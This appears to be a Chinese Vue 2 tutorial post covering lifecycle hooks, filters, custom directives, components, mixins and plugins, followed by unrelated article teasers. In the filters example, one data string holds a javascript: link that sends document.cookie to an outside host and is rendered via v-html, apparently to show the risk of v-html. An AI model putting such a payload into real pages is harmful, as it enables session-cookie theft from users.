Vue过滤器、自定义指令、组件

news2024/11/27 2:45:45

目录

一:生命周期

1.1 生命周期实例

1.2 生命周期函数(引入)

二:过滤器

三:自定义指令

四:组件

4.1 非单文件组件

4.2 组件的嵌套

4.3 单文件组件

模板

4.3.1 架构 

4.3.2 不同版本的vue.JS

4.3.3 vue脚手架默认配置的修改文件

4.4 组件实例对象(ref)

4.5 组件声明接受对象(props)

4.6 组件混合minin

4.6.1 全局混合

4.6.2 局部混合

4.7 插件(plugins)

4.8 lang 和 scoped


一:生命周期

1.1 生命周期实例

解析js代码

变成虚拟DOM

变成真实DOM

放到页面

在初始的真实DOM放到页面的时候,调用一个函数,只调用一次

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>生命周期</title>
    <script src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
        <h1 v-bind:style="{opacity:opacity}">生命周期</h1>
    </div>
    <script>
        const vm = new Vue({
            el:"#root",
            data: {
                opacity:1
            },
            mounted:function(){
                setInterval(() => {
                    vm.opacity -= 0.01
                    if(vm.opacity <= 0){
                        vm.opacity = 1
                    }
                }, 16);
             }
        })
        
    </script>
</body>
</html>

1.2 生命周期函数(引入)

特殊的时间点,vm帮忙调用的函数 

二:过滤器

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>过滤器</title>
    <script src="../js/vue.min.js"></script>
    <script src="../js/dayjs.min.js"></script>
</head>
<body>
    <div id="root">
        <h2>显示格式化后的时间</h2>
        <h2>{{fmttime}}</h2>
        <h2>{{getTime()}}</h2>
        <h2>{{time | timeFormater}}</h2>
        <h2>{{time | timeFormater('YYYY-MM-DD') | myslice}}</h2>
        <h2 v-html="str2"></h2>
    </div>
    <div id="root2">
        {{msg | myslice}}
    </div>
    <script type="text/javascript">
        Vue.filter('myslice', function (value) {
            return value.slice(0,4);
        });
        new Vue({
            el: "#root",
            data: {
                time:1679883403329,
                str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟来</a>'
             },
            computed:{
                fmttime(){
                    return dayjs(this.time).format("YYYY-MM-DD HH-mm-ss")
                }
             },
            methods: {
                getTime(){
                    return dayjs(this.time).format("YYYY-MM-DD HH-mm-ss")
                }
             },
            filters:{
                timeFormater:function(value,str='YYYY-MM-DD HH-mm-ss') { 
                    return dayjs(value).format(str)
                },
                
            }
        }),
        new Vue({
            el: '#root2',
            data: {
                msg:"helloworld"
             },
            }
        )
    </script>
</body>
</html>

三:自定义指令

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>自定义指令</title>
    <script src="../js/vue.min.js"></script>
</head>
<body>
    <div id="root">
        <h2>当前的n:<span v-text="n"></span></h2>
        <h2>目前的n:<span v-big="n"></span></h2>
        <button v-on:click="n++">点我n++</button>
        <input type="text" v-fbind:value="n">
    </div>
    <hr>
    <div id="root2">
        <h2>当前的m:<span v-text="m"></span></h2>
        <input type="text" v-fbind:value="m">
    </div>
    <script>
        Vue.directive('fbind', {
                
                bind:function(element, binding) { 
                    element.value = binding.value
                },
                inserted: function(element, binding) {
                    element.focus()
                 },
                 update: function(element, binding) {
                    element.focus()
                  }
        }),
        new Vue({
            el:'#root',
            data: {
                n:10,
             },
            directives: {
                big:function(element,binding){
                    element.innerText = binding.value * 10
                },
                // fbind:function(element, binding) {
                //     element.value = binding.value
                //  }
            }
        })
        new Vue({
            el:'#root2',
            data: {
                m:11
             }
        })
    </script>
</body>
</html>

四:组件

子组件放在父组件的上面

4.1 非单文件组件

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="../js/vue.js"></script>
    <title>基本组件</title>
</head>
<body>
    <div id="root">
        <hello></hello><br>
        <school></school>
        <hr>
        <student></student>
    </div>
    <div id="root2">
        <hello></hello><br>
    </div>
    <script>
        const hello = Vue.extend({
            template: `
                <div>
                    <h1>hello{{name}}</h1>
                </div>
            `,
            data: function(){
                return {
                    name: 'Tom'
                 }
             }
         })
        Vue.component('hello', hello)
        const school = Vue.extend({
            template: `
                <div>
                    <h1>学校:{{schoolName}}</h1>
                    <h1>地址:{{address}}</h1>
                    <button v-on:click="c()">点我提示学校名</button>
                </div>
            `,
            data:function() {
                return {
                    schoolName:'中北大学',
                    address:'太原',
                 }    
            },
            methods: {
                c:function() {
                    alert(this.schoolName)
                 }
             }
            
         })
        const student = Vue.extend({
            template: `
                <div>
                    <h1>姓名:{{studentName}}</h1>
                    <h1>年龄:{{age}}</h1>
                    
                </div>
            `,
            data: function() {
                return {
                    studentName:'任彪煜',
                    age:18
                 }
             }
            
         })


        new Vue({
            el:'#root',
            //局部注册组件
            components: {
                school:school,
                student:student
             }
        })
        new Vue({
            el:"#root2"
         })
        
    </script>
</body>
</html>

4.2 组件的嵌套

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>组件嵌套</title>
    <script src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
        <app></app>
    </div>
    <script>
        const student = Vue.extend({
            template: 
            `<div>
                    <h1>姓名:{{name}}</h1>
                    <h1>年龄:{{age}}</h1>
            </div>`,
            data:function(){
                return {
                    name:'任彪煜',
                    age:18
                 }  
             }
         })
        const school = Vue.extend({
            template: 
            `<div>
                    <h1>学校:{{schoolName}}</h1>
                    <h1>地址:{{address}}</h1>
                    <student></student>

            </div>`,
            data:function(){
                return {
                    schoolName:'中北大学',
                    address:'太原'
                }
            },
            components:{
                student:student
            }
         })
        const hello = Vue.extend({
            template:`<div>
                <h1>{{mes}}</h1>    
            </div>`,
            data: function() {
                return {
                    mes:'hello'
                }
             }
          })
        const app = Vue.extend({
            template:`
                <div>
                    <hello></hello>
                    <school></school>    
                </div> 
            `,
            components: {
                school:school,
                hello: hello
             }
         })
        
        new Vue({
            el:'#root',
            components: {
                app:app
             }
        })    
    </script>
</body>
</html>

4.3 单文件组件

搭建node.js

安装vue脚手架

创建目录rby

使用管理员cmd进入rby目录

vue create rby-vue

创建完成以后用自己的组件、App.vue、index.html、main.js去替换脚手架自己创建的文件

模板

MySchool.vue

<template>
    <div class="demo">
        <h1>校名{{SchoolName}}</h1>
        <h1>地址{{address}}</h1>
    </div>
</template>
<script>
    export default {
        name:'MySchool',
        data() {
            return {
                SchoolName:'中北大学',
                address:'太原'
            }
        },
    }
</script>
<style>
    .demo{
        background-color: aqua;
    }
</style>

MyStudent.vue

<template>
    <div class="demo">
        <h1>学生姓名{{StudentName}}</h1>
        <h1>年龄{{age}}</h1>
    </div>
</template>
<script>
    export default {
        name:'MyStudent',
        data() {
            return {
                StudentName:'张三',
                age:18
            }
        },
    }
</script>
<style>
    .demo{
        background-color: aqua;
    }
</style>

App.vue

<template>
    <div>
        <MySchool></MySchool>
        <MyStudent></MyStudent>
    </div>
</template>

<script>
    import MySchool from './components/MySchool.vue'
    import MyStudent from './components/MyStudent.vue'
    export default {
        name:'App',
        components:{
            MySchool:MySchool,
            MyStudent:MyStudent
        }
    }
</script>

main.js

import Vue from 'vue'
import App from './App.vue'

Vue.config.productionTip = false

new Vue({
  render: h => h(App),
}).$mount('#app')

4.3.1 架构 

4.3.2 不同版本的vue.JS

4.3.3 vue脚手架默认配置的修改文件

pages修改默认启动路径

lintOnSave:false关闭语法检查

4.4 组件实例对象(ref)

组件间的通信

<template>
    <div>
        <h1 v-text="msg" ref="h1"></h1>
        <MySchool ref="ms"></MySchool>
        <button v-on:click="c()">点我</button>
    </div>
</template>

<script>
    import MySchool from './components/MySchool.vue'
    export default {
        name: 'App',
        data() {
            return {
                msg:'欢迎学习Vue!'
            }
        },
        components:{
            MySchool:MySchool
        },
        methods: {
            c:function(){
                console.log(this.$refs.ms)
            }
        },
}
</script>

4.5 组件声明接受对象(props)

接收到的props不允许修改,props传过来的数据要修改的话,可以在data中赋值一份

4.6 组件混合minin

4.6.1 全局混合

4.6.2 局部混合

mixin.js

export const minin = {
    methods: {
        showName:function(){
            alert(this.name)
        }
    },
    mounted() {
        console.log('haha')
    },
}
export const haha={
    data() {
        return {
            x : 100,
            y : 200
        }
    },
}

MyStudent.vue

<script>
    import {minin, haha} from '../minin.js'
    export default {
    name: 'MyStudent',
    data() {
        return {
            name:'任彪煜',
            age:18
            
        }
    },
    mixins:[minin, haha]
}
</script>

4.7 插件(plugins)

先调用插件后创建vm

export default {
    install(){
        console.log("@@@install");
    }
}

 给Vue的原型对象上添加属性,vm,vc都可以用

export default {
    install(Vue){
        Vue.filter('myslice', function (value) {
            return value.slice(0,4);
        }),
        Vue.directive('fbind', {
                
            bind:function(element, binding) { 
                element.value = binding.value
            },
            inserted: function(element, binding) {
                element.focus(binding)
             },
             update: function(element, binding) {
                element.focus(binding)
              }
        })
    }
}

4.8 lang 和 scoped

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/423734.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ASRT语音识别系统部署及模型训练笔记

ASRT语音识别系统部署及模型训练笔记 前言 ASRT是一个中文语音识别系统&#xff0c;由AI柠檬博主开源在GitHub上。 GitHub地址&#xff1a;nl8590687/ASRT_SpeechRecognition 国内Gitee镜像地址&#xff1a;AI柠檬/ASRT_SpeechRecognition 文档地址&#xff1a;ASRT语音识…

ping telnet curl的使用方法和应用场景

文章目录一、区别二、使用方法pingtelnetcurl三、应用场景一、区别 ping命令基于ICMP协议&#xff0c;通过发送发送ICMP数据包&#xff0c;并查看对方是否有返回数据来检测网络是否连通&#xff0c;仅包含控制信息&#xff0c;不包含端口号; telnet是对服务器的远程登录&#…

全网火爆,Python接口自动化测试,从0到1分层封装框架撸码(带接口)

目录&#xff1a;导读前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09;前言 随着行业内卷越来越…

3D开发工具HOOPS最新解析合集,助力实现web端高性能模型渲染

一、3D技术为创新提供强大助力 不管您想搭建桌面、WEB或者移动端APP应用&#xff0c;技术领先全球的HOOPS Platform组件都可以为您提供弹性的3D集成架构&#xff0c;同时&#xff0c;一批可信任的工业领域3D技术专家也将为您提供技术支持服务。 如果您的客户期望有一种在多个…

Docker 配置远程访问

Docker客户端通常通过Unix套接字在本地与守护程序通信 /var/run/docker.sock&#xff0c;或通过网络通过TCP套接字。 以下是启动时提供给Docker守护程序的选项的典型示例&#xff1a; # ps -ef |grep dockerd root 23438 1 0 00:41 ? 00:00:03 /usr/bin/dock…

Spring入门案例--IOC入门案例

IOC入门案例思路分析 (1)Spring是使用容器来管理bean对象的&#xff0c;那么管什么? 主要管理项目中所使用到的类对象&#xff0c;比如(Service和Dao) (2)如何将被管理的对象告知IOC容器? 使用配置文件 (3)被管理的对象交给IOC容器&#xff0c;要想从容器中获取对象&…

TCP协议详解

1.TCP的准备条件在古代的时候&#xff0c;古人们经常写书信进行交流&#xff0c;写书信的前提是你要知道这份信是要寄给谁在网络中&#xff0c;我们通过ip端口号找对目标对象&#xff0c;但是现在网站一般会对ip端口注册一个域名&#xff0c;所以我们一般就是对域名进行查找&am…

minikube安装与运行(阿里云环境运行)

说下为啥选择云环境&#xff0c;最开始在本地电脑上安装的minikube&#xff0c;但是由于国内的网络访问不了谷歌的镜像仓库&#xff0c;安装ingress-nginx或者其他插件时着实的恶心。要不翻墙&#xff0c;要不自己搭建个镜像仓库。最终决定用阿里云境外的节点&#xff0c;按小时…

Windows操作系统C盘快速扩容工具推荐

Windows 系统C 盘扩容教程 1️⃣前言 大家在使用电脑过程中&#xff0c;随着时间的推移&#xff0c;经常会发现C盘空间爆红的情况&#xff0c;主 要原因是电脑软件在使用过程中产生的缓存文件或者日志文件大部分都会存储在C盘&#xff0c;这样时间一久&#xff0c;C盘的存储空…

不联网新华字典

介绍 首页字典 更多 包含内容 内容对应Json数据文件百家姓baijiaxing.json曹操诗集caocao.json弟子规dizigui.json成语idiom.json论语lunyu.json纳兰性德诗集nalanshiji.json千家诗qianjiashi.json千字文qianziwen.json三字经-传统版sanzijing_ct.json三字经-新版sanzijing_x…

「STM32入门」TIM定时中断

定时器的简介 定时器可以对输入的时钟进行计数&#xff0c;并在计数值达到设定值时触发中断&#xff0c;在中断内可以执行中断事件不仅具备基本的定时中断功能&#xff0c;而且还包含内外时钟源选择&#xff0c;主从触发模式&#xff0c;输入捕获&#xff0c;输出捕获&#xff…

MySQL调优笔记——慢SQL优化记录

上周&#xff0c;项目出现线上问题&#xff0c;在这家公司做的是一个SAAS平台&#xff0c;总用户量大约10万人&#xff1b; 经过排查&#xff0c;发现是SQL问题&#xff0c;导致数据库响应慢&#xff0c;进而拖垮了整体服务&#xff1b; 通常&#xff0c;查询耗时较长的SQL涉…

我在windows10下,使用CMake gui 编译krita源码,CMake gui报错:LibMyPaint_DIR-NOTFOUND

系列文章目录 文章目录系列文章目录前言一、原因二、解决1.引入库前言 我在windows10下&#xff0c;使用CMake gui 编译krita源码 where is the source code:E:/krita-dev/krita where to build the binaries:E:/krita-dev/krita_camke current generator:MinGW Makefiles 分别…

ios证书申请流程

mac电脑-钥匙串-请求证书-得到CertificateSigningRequest 2.创建Identifiers &#xff08;1&#xff09; (2) (3) (4) 如要接推送等 勾&#xff1a;Push Notifications 如要生成universal links 勾&#xff1a;Associated Domains 3.创建Certificates 注意&#xff1a;需…

银行数字化转型导师坚鹏:《银行保险监管统计管理办法》

《银行保险监管统计管理办法》 ——“监”听则明 护航银行高质量发展课程背景&#xff1a; 很多金融机构存在以下问题&#xff1a; 不清楚《银行保险监管统计管理办法》出台背景&#xff1f; 不知道如何理解《银行保险监管统计管理办法》相关规定&#xff1f; 不清楚如何落…

UI设计师都在用这5个网站,赶紧马住~

本期推荐5个UI设计师常用的素材、学习网站&#xff0c;设计师们赶紧收藏~ 1、菜鸟图库 https://www.sucai999.com/searchlist/UIsheji----all-0-0.html?vNTYxMjky 菜鸟图库提供了超多免费设计素材&#xff0c;在这里你可以找到平面、UI、电商等设计类素材&#xff0c;还有大…

4.2和4.3、MAC地址、IP地址、端口

计算机网络等相关知识可以去小林coding进行巩固&#xff08;点击前往&#xff09; 4.2和4.3、MAC地址、IP地址、端口1.MAC地址的简介2.IP地址①IP地址简介②IP地址编址方式③A类IP地址④B类IP地址⑤C类IP地址⑥D类IP地址⑧子网掩码3.端口①简介②端口类型1.MAC地址的简介 网卡…

面试如何脱引而出?Redis字符串底层原理你掌握了吗

今天我们讲解字符串的底层原理&#xff0c;属于进阶内容&#xff0c;能回答出来可以秒杀80%的面试者。‍大家都知道Redis有5种基本数据类型&#xff0c;但是你知道每种数据类型对应的底层编码或者数据结构是什么样的吗&#xff1f;这在面试中是一个有区分度的问题&#xff0c;如…

北京E4432B信号发生器

E4432B 安捷伦|Agilent E4432B ESG-D系列 3G高频数字信号源250KHz-3GHz 品  牌&#xff1a; Agilent简单介绍频率范围&#xff1a;E4430B 250K-1GHzE4431B 250K-2GHzE4432B 250K-3GHzE4433B 250K-4GHz 18320918653供单信道和多信道CDMA用的测量卡用于I和Q的20 MHz射频带宽…

搞懂 API :API 测试中常见的问题及处理办法

API测试是Web服务质量保证的重要环节之一。它可以有效地检查API是否符合预期&#xff0c;但在操作中也经常遇到各种问题。本文将介绍API测试中常见的问题以及如何解决它们。 接口错误码不清楚或无法处理 接口开发人员往往会为其API定义错误码来表示特定的错误类型&#xff0c;…